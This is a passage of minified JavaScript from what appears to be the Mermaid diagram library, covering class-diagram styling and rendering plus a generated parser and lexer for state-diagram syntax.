${n.themeVariables.noteBorderColor}`],look:n.look};e.push(s);let l=this.classes.get(a.class)?.id??"";if(l){let u={id:`edgeNote${i}`,start:a.id,end:l,type:"normal",thickness:"normal",classes:"relation",arrowTypeStart:"none",arrowTypeEnd:"none",arrowheadStyle:"",labelStyle:[""],style:["fill: none"],pattern:"dotted",look:n.look};r.push(u)}}for(let a of this.interfaces){let s={id:a.id,label:a.label,isGroup:!1,shape:"rect",cssStyles:["opacity: 0;"],look:n.look};e.push(s)}i=0;for(let a of this.relations){i++;let s={id:xc(a.id1,a.id2,{prefix:"id",counter:i}),start:a.id1,end:a.id2,type:"normal",label:a.title,labelpos:"c",thickness:"normal",classes:"relation",arrowTypeStart:this.getArrowMarker(a.relation.type1),arrowTypeEnd:this.getArrowMarker(a.relation.type2),startLabelRight:a.relationTitle1==="none"?"":a.relationTitle1,endLabelLeft:a.relationTitle2==="none"?"":a.relationTitle2,arrowheadStyle:"",labelStyle:["display: inline-block"],style:a.style||"",pattern:a.relation.lineType==1?"dashed":"solid",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:this.getDirection()}}}});var BJe,aC,l$=N(()=>{"use strict";yg();BJe=o(t=>`g.classGroup text { + fill: ${t.nodeBorder||t.classText}; + stroke: none; + font-family: ${t.fontFamily}; + font-size: 10px; + + .title { + font-weight: bolder; + } + +} + +.nodeLabel, .edgeLabel { + color: ${t.classText}; +} +.edgeLabel .label rect { + fill: ${t.mainBkg}; +} +.label text { + fill: ${t.classText}; +} + +.labelBkg { + background: ${t.mainBkg}; +} +.edgeLabel .label span { + background: ${t.mainBkg}; +} + +.classTitle { + font-weight: bolder; +} +.node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + +.divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +g.clickable { + cursor: pointer; +} + +g.classGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.classGroup line { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +.classLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.classLabel .label { + fill: ${t.nodeBorder}; + font-size: 10px; +} + +.relation { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; +} + +.dashed-line{ + stroke-dasharray: 3; +} + +.dotted-line{ + stroke-dasharray: 1 2; +} + +#compositionStart, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#compositionEnd, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionStart, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionEnd, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationStart, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationEnd, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopStart, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopEnd, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +.edgeTerminals { + font-size: 11px; + line-height: initial; +} + +.classTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} + ${zc()} +`,"getStyles"),aC=BJe});var FJe,$Je,zJe,sC,c$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();FJe=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),$Je=o(function(t,e){return e.db.getClasses()},"getClasses"),zJe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing class diagram (v3)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["aggregation","extension","composition","dependency","lollipop"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"classDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"classDiagram",a?.useMaxWidth??!0)},"draw"),sC={getClasses:$Je,draw:zJe,getDir:FJe}});var Jye={};dr(Jye,{diagram:()=>GJe});var GJe,eve=N(()=>{"use strict";s$();o$();l$();c$();GJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var nve={};dr(nve,{diagram:()=>qJe});var qJe,ive=N(()=>{"use strict";s$();o$();l$();c$();qJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var u$,oC,h$=N(()=>{"use strict";u$=(function(){var t=o(function(F,G,$,U){for($=$||{},U=F.length;U--;$[F[U]]=G);return $},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,16],u=[1,17],h=[1,18],f=[1,19],d=[1,33],p=[1,20],m=[1,21],g=[1,22],y=[1,23],v=[1,24],x=[1,26],b=[1,27],T=[1,28],S=[1,29],w=[1,30],k=[1,31],A=[1,32],C=[1,35],R=[1,36],I=[1,37],L=[1,38],E=[1,34],D=[1,4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],_=[1,4,5,14,15,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,39,40,41,45,48,51,52,53,54,57],O=[4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],M={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NL:5,SD:6,document:7,line:8,statement:9,classDefStatement:10,styleStatement:11,cssClassStatement:12,idStatement:13,DESCR:14,"-->":15,HIDE_EMPTY:16,scale:17,WIDTH:18,COMPOSIT_STATE:19,STRUCT_START:20,STRUCT_STOP:21,STATE_DESCR:22,AS:23,ID:24,FORK:25,JOIN:26,CHOICE:27,CONCURRENT:28,note:29,notePosition:30,NOTE_TEXT:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_descr_multiline_value:37,CLICK:38,STRING:39,HREF:40,classDef:41,CLASSDEF_ID:42,CLASSDEF_STYLEOPTS:43,DEFAULT:44,style:45,STYLE_IDS:46,STYLEDEF_STYLEOPTS:47,class:48,CLASSENTITY_IDS:49,STYLECLASS:50,direction_tb:51,direction_bt:52,direction_rl:53,direction_lr:54,eol:55,";":56,EDGE_STATE:57,STYLE_SEPARATOR:58,left_of:59,right_of:60,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NL",6:"SD",14:"DESCR",15:"-->",16:"HIDE_EMPTY",17:"scale",18:"WIDTH",19:"COMPOSIT_STATE",20:"STRUCT_START",21:"STRUCT_STOP",22:"STATE_DESCR",23:"AS",24:"ID",25:"FORK",26:"JOIN",27:"CHOICE",28:"CONCURRENT",29:"note",31:"NOTE_TEXT",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",38:"CLICK",39:"STRING",40:"HREF",41:"classDef",42:"CLASSDEF_ID",43:"CLASSDEF_STYLEOPTS",44:"DEFAULT",45:"style",46:"STYLE_IDS",47:"STYLEDEF_STYLEOPTS",48:"class",49:"CLASSENTITY_IDS",50:"STYLECLASS",51:"direction_tb",52:"direction_bt",53:"direction_rl",54:"direction_lr",56:";",57:"EDGE_STATE",58:"STYLE_SEPARATOR",59:"left_of",60:"right_of"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,3],[9,4],[9,1],[9,2],[9,1],[9,4],[9,3],[9,6],[9,1],[9,1],[9,1],[9,1],[9,4],[9,4],[9,1],[9,2],[9,2],[9,1],[9,5],[9,5],[10,3],[10,3],[11,3],[12,3],[32,1],[32,1],[32,1],[32,1],[55,1],[55,1],[13,1],[13,1],[13,3],[13,3],[30,1],[30,1]],performAction:o(function(G,$,U,j,te,Y,oe){var J=Y.length-1;switch(te){case 3:return j.setRootDoc(Y[J]),Y[J];break;case 4:this.$=[];break;case 5:Y[J]!="nl"&&(Y[J-1].push(Y[J]),this.$=Y[J-1]);break;case 6:case 7:this.$=Y[J];break;case 8:this.$="nl";break;case 12:this.$=Y[J];break;case 13:let Z=Y[J-1];Z.description=j.trimColon(Y[J]),this.$=Z;break;case 14:this.$={stmt:"relation",state1:Y[J-2],state2:Y[J]};break;case 15:let K=j.trimColon(Y[J]);this.$={stmt:"relation",state1:Y[J-3],state2:Y[J-1],description:K};break;case 19:this.$={stmt:"state",id:Y[J-3],type:"default",description:"",doc:Y[J-1]};break;case 20:var ue=Y[J],re=Y[J-2].trim();if(Y[J].match(":")){var ee=Y[J].split(":");ue=ee[0],re=[re,ee[1]]}this.$={stmt:"state",id:ue,type:"default",description:re};break;case 21:this.$={stmt:"state",id:Y[J-3],type:"default",description:Y[J-5],doc:Y[J-1]};break;case 22:this.$={stmt:"state",id:Y[J],type:"fork"};break;case 23:this.$={stmt:"state",id:Y[J],type:"join"};break;case 24:this.$={stmt:"state",id:Y[J],type:"choice"};break;case 25:this.$={stmt:"state",id:j.getDividerId(),type:"divider"};break;case 26:this.$={stmt:"state",id:Y[J-1].trim(),note:{position:Y[J-2].trim(),text:Y[J].trim()}};break;case 29:this.$=Y[J].trim(),j.setAccTitle(this.$);break;case 30:case 31:this.$=Y[J].trim(),j.setAccDescription(this.$);break;case 32:this.$={stmt:"click",id:Y[J-3],url:Y[J-2],tooltip:Y[J-1]};break;case 33:this.$={stmt:"click",id:Y[J-3],url:Y[J-1],tooltip:""};break;case 34:case 35:this.$={stmt:"classDef",id:Y[J-1].trim(),classes:Y[J].trim()};break;case 36:this.$={stmt:"style",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 37:this.$={stmt:"applyClass",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 38:j.setDirection("TB"),this.$={stmt:"dir",value:"TB"};break;case 39:j.setDirection("BT"),this.$={stmt:"dir",value:"BT"};break;case 40:j.setDirection("RL"),this.$={stmt:"dir",value:"RL"};break;case 41:j.setDirection("LR"),this.$={stmt:"dir",value:"LR"};break;case 44:case 45:this.$={stmt:"state",id:Y[J].trim(),type:"default",description:""};break;case 46:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break;case 47:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,16,17,19,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,5]),{9:39,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,7]),t(D,[2,8]),t(D,[2,9]),t(D,[2,10]),t(D,[2,11]),t(D,[2,12],{14:[1,40],15:[1,41]}),t(D,[2,16]),{18:[1,42]},t(D,[2,18],{20:[1,43]}),{23:[1,44]},t(D,[2,22]),t(D,[2,23]),t(D,[2,24]),t(D,[2,25]),{30:45,31:[1,46],59:[1,47],60:[1,48]},t(D,[2,28]),{34:[1,49]},{36:[1,50]},t(D,[2,31]),{13:51,24:d,57:E},{42:[1,52],44:[1,53]},{46:[1,54]},{49:[1,55]},t(_,[2,44],{58:[1,56]}),t(_,[2,45],{58:[1,57]}),t(D,[2,38]),t(D,[2,39]),t(D,[2,40]),t(D,[2,41]),t(D,[2,6]),t(D,[2,13]),{13:58,24:d,57:E},t(D,[2,17]),t(O,i,{7:59}),{24:[1,60]},{24:[1,61]},{23:[1,62]},{24:[2,48]},{24:[2,49]},t(D,[2,29]),t(D,[2,30]),{39:[1,63],40:[1,64]},{43:[1,65]},{43:[1,66]},{47:[1,67]},{50:[1,68]},{24:[1,69]},{24:[1,70]},t(D,[2,14],{14:[1,71]}),{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,72],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,20],{20:[1,73]}),{31:[1,74]},{24:[1,75]},{39:[1,76]},{39:[1,77]},t(D,[2,34]),t(D,[2,35]),t(D,[2,36]),t(D,[2,37]),t(_,[2,46]),t(_,[2,47]),t(D,[2,15]),t(D,[2,19]),t(O,i,{7:78}),t(D,[2,26]),t(D,[2,27]),{5:[1,79]},{5:[1,80]},{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,81],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,32]),t(D,[2,33]),t(D,[2,21])],defaultActions:{5:[2,1],6:[2,2],47:[2,48],48:[2,49]},parseError:o(function(G,$){if($.recoverable)this.trace(G);else{var U=new Error(G);throw U.hash=$,U}},"parseError"),parse:o(function(G){var $=this,U=[0],j=[],te=[null],Y=[],oe=this.table,J="",ue=0,re=0,ee=0,Z=2,K=1,ae=Y.slice.call(arguments,1),Q=Object.create(this.lexer),de={yy:{}};for(var ne in this.yy)Object.prototype.hasOwnProperty.call(this.yy,ne)&&(de.yy[ne]=this.yy[ne]);Q.setInput(G,de.yy),de.yy.lexer=Q,de.yy.parser=this,typeof Q.yylloc>"u"&&(Q.yylloc={});var Te=Q.yylloc;Y.push(Te);var q=Q.options&&Q.options.ranges;typeof de.yy.parseError=="function"?this.parseError=de.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Ve(z){U.length=U.length-2*z,te.length=te.length-z,Y.length=Y.length-z}o(Ve,"popStack");function pe(){var z;return z=j.pop()||Q.lex()||K,typeof z!="number"&&(z instanceof Array&&(j=z,z=j.pop()),z=$.symbols_[z]||z),z}o(pe,"lex");for(var Be,Ye,He,Le,Ie,Ne,Ce={},Fe,fe,xe,W;;){if(He=U[U.length-1],this.defaultActions[He]?Le=this.defaultActions[He]:((Be===null||typeof Be>"u")&&(Be=pe()),Le=oe[He]&&oe[He][Be]),typeof Le>"u"||!Le.length||!Le[0]){var he="";W=[];for(Fe in oe[He])this.terminals_[Fe]&&Fe>Z&&W.push("'"+this.terminals_[Fe]+"'");Q.showPosition?he="Parse error on line "+(ue+1)+`: +`+Q.showPosition()+` +Expecting `+W.join(", ")+", got '"+(this.terminals_[Be]||Be)+"'":he="Parse error on line "+(ue+1)+": Unexpected "+(Be==K?"end of input":"'"+(this.terminals_[Be]||Be)+"'"),this.parseError(he,{text:Q.match,token:this.terminals_[Be]||Be,line:Q.yylineno,loc:Te,expected:W})}if(Le[0]instanceof Array&&Le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+He+", token: "+Be);switch(Le[0]){case 1:U.push(Be),te.push(Q.yytext),Y.push(Q.yylloc),U.push(Le[1]),Be=null,Ye?(Be=Ye,Ye=null):(re=Q.yyleng,J=Q.yytext,ue=Q.yylineno,Te=Q.yylloc,ee>0&&ee--);break;case 2:if(fe=this.productions_[Le[1]][1],Ce.$=te[te.length-fe],Ce._$={first_line:Y[Y.length-(fe||1)].first_line,last_line:Y[Y.length-1].last_line,first_column:Y[Y.length-(fe||1)].first_column,last_column:Y[Y.length-1].last_column},q&&(Ce._$.range=[Y[Y.length-(fe||1)].range[0],Y[Y.length-1].range[1]]),Ne=this.performAction.apply(Ce,[J,re,ue,de.yy,Le[1],te,Y].concat(ae)),typeof Ne<"u")return Ne;fe&&(U=U.slice(0,-1*fe*2),te=te.slice(0,-1*fe),Y=Y.slice(0,-1*fe)),U.push(this.productions_[Le[1]][0]),te.push(Ce.$),Y.push(Ce._$),xe=oe[U[U.length-2]][U[U.length-1]],U.push(xe);break;case 3:return!0}}return!0},"parse")},P=(function(){var F={EOF:1,parseError:o(function($,U){if(this.yy.parser)this.yy.parser.parseError($,U);else throw new Error($)},"parseError"),setInput:o(function(G,$){return this.yy=$||this.yy||{},this._input=G,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var G=this._input[0];this.yytext+=G,this.yyleng++,this.offset++,this.match+=G,this.matched+=G;var $=G.match(/(?:\r\n?|\n).*/g);return $?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),G},"input"),unput:o(function(G){var $=G.length,U=G.split(/(?:\r\n?|\n)/g);this._input=G+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-$),this.offset-=$;var j=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),U.length-1&&(this.yylineno-=U.length-1);var te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:U?(U.length===j.length?this.yylloc.first_column:0)+j[j.length-U.length].length-U[0].length:this.yylloc.first_column-$},this.options.ranges&&(this.yylloc.range=[te[0],te[0]+this.yyleng-$]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(G){this.unput(this.match.slice(G))},"less"),pastInput:o(function(){var G=this.matched.substr(0,this.matched.length-this.match.length);return(G.length>20?"...":"")+G.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var G=this.match;return G.length<20&&(G+=this._input.substr(0,20-G.length)),(G.substr(0,20)+(G.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var G=this.pastInput(),$=new Array(G.length+1).join("-");return G+this.upcomingInput()+` +`+$+"^"},"showPosition"),test_match:o(function(G,$){var U,j,te;if(this.options.backtrack_lexer&&(te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(te.yylloc.range=this.yylloc.range.slice(0))),j=G[0].match(/(?:\r\n?|\n).*/g),j&&(this.yylineno+=j.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:j?j[j.length-1].length-j[j.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+G[0].length},this.yytext+=G[0],this.match+=G[0],this.matches=G,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(G[0].length),this.matched+=G[0],U=this.performAction.call(this,this.yy,this,$,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),U)return U;if(this._backtrack){for(var Y in te)this[Y]=te[Y];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var G,$,U,j;this._more||(this.yytext="",this.match="");for(var te=this._currentRules(),Y=0;Y$[0].length)){if($=U,j=Y,this.options.backtrack_lexer){if(G=this.test_match(U,te[Y]),G!==!1)return G;if(this._backtrack){$=!1;continue}else return!1}else if(!this.options.flex)break}return $?(G=this.test_match($,te[j]),G!==!1?G:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var $=this.next();return $||this.lex()},"lex"),begin:o(function($){this.conditionStack.push($)},"begin"),popState:o(function(){var $=this.conditionStack.length-1;return $>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function($){return $=this.conditionStack.length-1-Math.abs($||0),$>=0?this.conditionStack[$]:"INITIAL"},"topState"),pushState:o(function($){this.begin($)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function($,U,j,te){var Y=te;switch(j){case 0:return 38;case 1:return 40;case 2:return 39;case 3:return 44;case 4:return 51;case 5:return 52;case 6:return 53;case 7:return 54;case 8:break;case 9:break;case 10:return 5;case 11:break;case 12:break;case 13:break;case 14:break;case 15:return this.pushState("SCALE"),17;break;case 16:return 18;case 17:this.popState();break;case 18:return this.begin("acc_title"),33;break;case 19:return this.popState(),"acc_title_value";break;case 20:return this.begin("acc_descr"),35;break;case 21:return this.popState(),"acc_descr_value";break;case 22:this.begin("acc_descr_multiline");break;case 23:this.popState();break;case 24:return"acc_descr_multiline_value";case 25:return this.pushState("CLASSDEF"),41;break;case 26:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 27:return this.popState(),this.pushState("CLASSDEFID"),42;break;case 28:return this.popState(),43;break;case 29:return this.pushState("CLASS"),48;break;case 30:return this.popState(),this.pushState("CLASS_STYLE"),49;break;case 31:return this.popState(),50;break;case 32:return this.pushState("STYLE"),45;break;case 33:return this.popState(),this.pushState("STYLEDEF_STYLES"),46;break;case 34:return this.popState(),47;break;case 35:return this.pushState("SCALE"),17;break;case 36:return 18;case 37:this.popState();break;case 38:this.pushState("STATE");break;case 39:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 40:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 41:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 42:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 43:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 44:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 45:return 51;case 46:return 52;case 47:return 53;case 48:return 54;case 49:this.pushState("STATE_STRING");break;case 50:return this.pushState("STATE_ID"),"AS";break;case 51:return this.popState(),"ID";break;case 52:this.popState();break;case 53:return"STATE_DESCR";case 54:return 19;case 55:this.popState();break;case 56:return this.popState(),this.pushState("struct"),20;break;case 57:break;case 58:return this.popState(),21;break;case 59:break;case 60:return this.begin("NOTE"),29;break;case 61:return this.popState(),this.pushState("NOTE_ID"),59;break;case 62:return this.popState(),this.pushState("NOTE_ID"),60;break;case 63:this.popState(),this.pushState("FLOATING_NOTE");break;case 64:return this.popState(),this.pushState("FLOATING_NOTE_ID"),"AS";break;case 65:break;case 66:return"NOTE_TEXT";case 67:return this.popState(),"ID";break;case 68:return this.popState(),this.pushState("NOTE_TEXT"),24;break;case 69:return this.popState(),U.yytext=U.yytext.substr(2).trim(),31;break;case 70:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),31;break;case 71:return 6;case 72:return 6;case 73:return 16;case 74:return 57;case 75:return 24;case 76:return U.yytext=U.yytext.trim(),14;break;case 77:return 15;case 78:return 28;case 79:return 58;case 80:return 5;case 81:return"INVALID"}},"anonymous"),rules:[/^(?:click\b)/i,/^(?:href\b)/i,/^(?:"[^"]*")/i,/^(?:default\b)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:[\s]+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:classDef\s+)/i,/^(?:DEFAULT\s+)/i,/^(?:\w+\s+)/i,/^(?:[^\n]*)/i,/^(?:class\s+)/i,/^(?:(\w+)+((,\s*\w+)*))/i,/^(?:[^\n]*)/i,/^(?:style\s+)/i,/^(?:[\w,]+\s+)/i,/^(?:[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:state\s+)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*\[\[fork\]\])/i,/^(?:.*\[\[join\]\])/i,/^(?:.*\[\[choice\]\])/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:["])/i,/^(?:\s*as\s+)/i,/^(?:[^\n\{]*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n\s\{]+)/i,/^(?:\n)/i,/^(?:\{)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:\})/i,/^(?:[\n])/i,/^(?:note\s+)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:")/i,/^(?:\s*as\s*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n]*)/i,/^(?:\s*[^:\n\s\-]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:[\s\S]*?end note\b)/i,/^(?:stateDiagram\s+)/i,/^(?:stateDiagram-v2\s+)/i,/^(?:hide empty description\b)/i,/^(?:\[\*\])/i,/^(?:[^:\n\s\-\{]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:-->)/i,/^(?:--)/i,/^(?::::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{LINE:{rules:[12,13],inclusive:!1},struct:{rules:[12,13,25,29,32,38,45,46,47,48,57,58,59,60,74,75,76,77,78],inclusive:!1},FLOATING_NOTE_ID:{rules:[67],inclusive:!1},FLOATING_NOTE:{rules:[64,65,66],inclusive:!1},NOTE_TEXT:{rules:[69,70],inclusive:!1},NOTE_ID:{rules:[68],inclusive:!1},NOTE:{rules:[61,62,63],inclusive:!1},STYLEDEF_STYLEOPTS:{rules:[],inclusive:!1},STYLEDEF_STYLES:{rules:[34],inclusive:!1},STYLE_IDS:{rules:[],inclusive:!1},STYLE:{rules:[33],inclusive:!1},CLASS_STYLE:{rules:[31],inclusive:!1},CLASS:{rules:[30],inclusive:!1},CLASSDEFID:{rules:[28],inclusive:!1},CLASSDEF:{rules:[26,27],inclusive:!1},acc_descr_multiline:{rules:[23,24],inclusive:!1},acc_descr:{rules:[21],inclusive:!1},acc_title:{rules:[19],inclusive:!1},SCALE:{rules:[16,17,36,37],inclusive:!1},ALIAS:{rules:[],inclusive:!1},STATE_ID:{rules:[51],inclusive:!1},STATE_STRING:{rules:[52,53],inclusive:!1},FORK_STATE:{rules:[],inclusive:!1},STATE:{rules:[12,13,39,40,41,42,43,44,49,50,54,55,56],inclusive:!1},ID:{rules:[12,13],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,18,20,22,25,29,32,35,38,56,60,71,72,73,74,75,76,77,79,80,81],inclusive:!0}}};return F})();M.lexer=P;function B(){this.yy={}}return o(B,"Parser"),B.prototype=M,M.Parser=B,new B})();u$.parser=u$;oC=u$});var Qf,u0,E4,ove,lve,cve,h0,lC,f$,d$,p$,m$,cC,uC,uve,hve,g$,y$,fve,dve,oy,jJe,pve,v$,KJe,QJe,mve,gve,ZJe,yve,JJe,vve,x$,b$,xve,hC,bve,T$,fC=N(()=>{"use strict";Qf="state",u0="root",E4="relation",ove="classDef",lve="style",cve="applyClass",h0="default",lC="divider",f$="fill:none",d$="fill: #333",p$="text",m$="normal",cC="rect",uC="rectWithTitle",uve="stateStart",hve="stateEnd",g$="divider",y$="roundedWithTitle",fve="note",dve="noteGroup",oy="statediagram",jJe="state",pve=`${oy}-${jJe}`,v$="transition",KJe="note",QJe="note-edge",mve=`${v$} 